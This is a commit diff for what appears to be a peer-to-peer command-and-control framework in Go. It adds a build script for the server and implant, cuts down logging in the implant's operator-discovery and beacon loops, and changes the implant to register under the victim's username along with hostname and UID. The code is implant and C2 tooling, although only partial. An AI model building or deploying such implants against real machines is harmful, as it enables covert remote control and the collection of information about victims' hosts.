suppress beacon spam, fix implant name, add build.sh

build.sh

@@ -0,0 +1,17 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+cd "$(dirname "$0")"
+
+mkdir -p bin
+
+echo "Building server..."
+go build -o bin/server ./server/main.go
+
+echo "Building implant..."
+go build -o bin/implant ./implant/main.go
+
+echo "Building build-implant..."
+go build -o bin/build-implant ./cmd/build-implant/main.go
+
+echo "Done. Binaries in ./bin/"

implant/core/agent.go

@@ -8,6 +8,7 @@ import (
 	"os"
 	"os/exec"
 	"runtime"
+	"sync"
 	"time"
 
 	"github.com/libp2p/go-libp2p"
@@ -30,6 +31,8 @@ type Agent struct {
 	config      AgentConfig
 	ctx         context.Context
 	cancel      context.CancelFunc
+	connected   bool
+	connectedMu sync.Mutex
 }
 
 type AgentConfig struct {
@@ -165,21 +168,20 @@ func (a *Agent) discoverOperatorLoop(ns string) {
 			continue
 		}
 
-		found := false
 		for pi := range peerCh {
 			if pi.ID == a.node.ID() || len(pi.Addrs) == 0 {
 				continue
 			}
-			found = true
-			log.Printf("[implant] found candidate %s with %d addrs", pi.ID.String(), len(pi.Addrs))
 			if err := a.node.ConnectToPeer(a.ctx, pi); err != nil {
 				log.Printf("[implant] DHT connect to %s: %v", pi.ID.String(), err)
 				continue
 			}
-			log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
-		}
-		if !found {
-			log.Printf("[implant] no operator found on DHT yet, retrying...")
+			a.connectedMu.Lock()
+			if !a.connected {
+				a.connected = true
+				log.Printf("[implant] connected to operator via DHT: %s", pi.ID.String())
+			}
+			a.connectedMu.Unlock()
 		}
 
 		select {
@@ -208,7 +210,7 @@ func (a *Agent) beaconLoop() {
 func (a *Agent) sendBeaconRegister() {
 	hostname, _ := os.Hostname()
 	reg := &arachnepb.Register{
-		Name:     hostname,
+		Name:     os.Getenv("USER"),
 		Hostname: hostname,
 		Username: os.Getenv("USER"),
 		UID:      fmt.Sprintf("%d", os.Getuid()),

server/core/operator.go

@@ -232,7 +232,6 @@ func (o *Operator) handleBeaconRegister(env *arachnepb.Envelope) {
 		existing.Username = reg.Username
 		existing.OS = reg.OS
 		existing.Arch = reg.Arch
-		log.Printf("[operator] beacon update from %s@%s (%s)", reg.Name, reg.Hostname, peerID)
 	} else {
 		o.implants[peerID] = rec
 		log.Printf("[operator] new implant registered: %s@%s [%s/%s] peer=%s",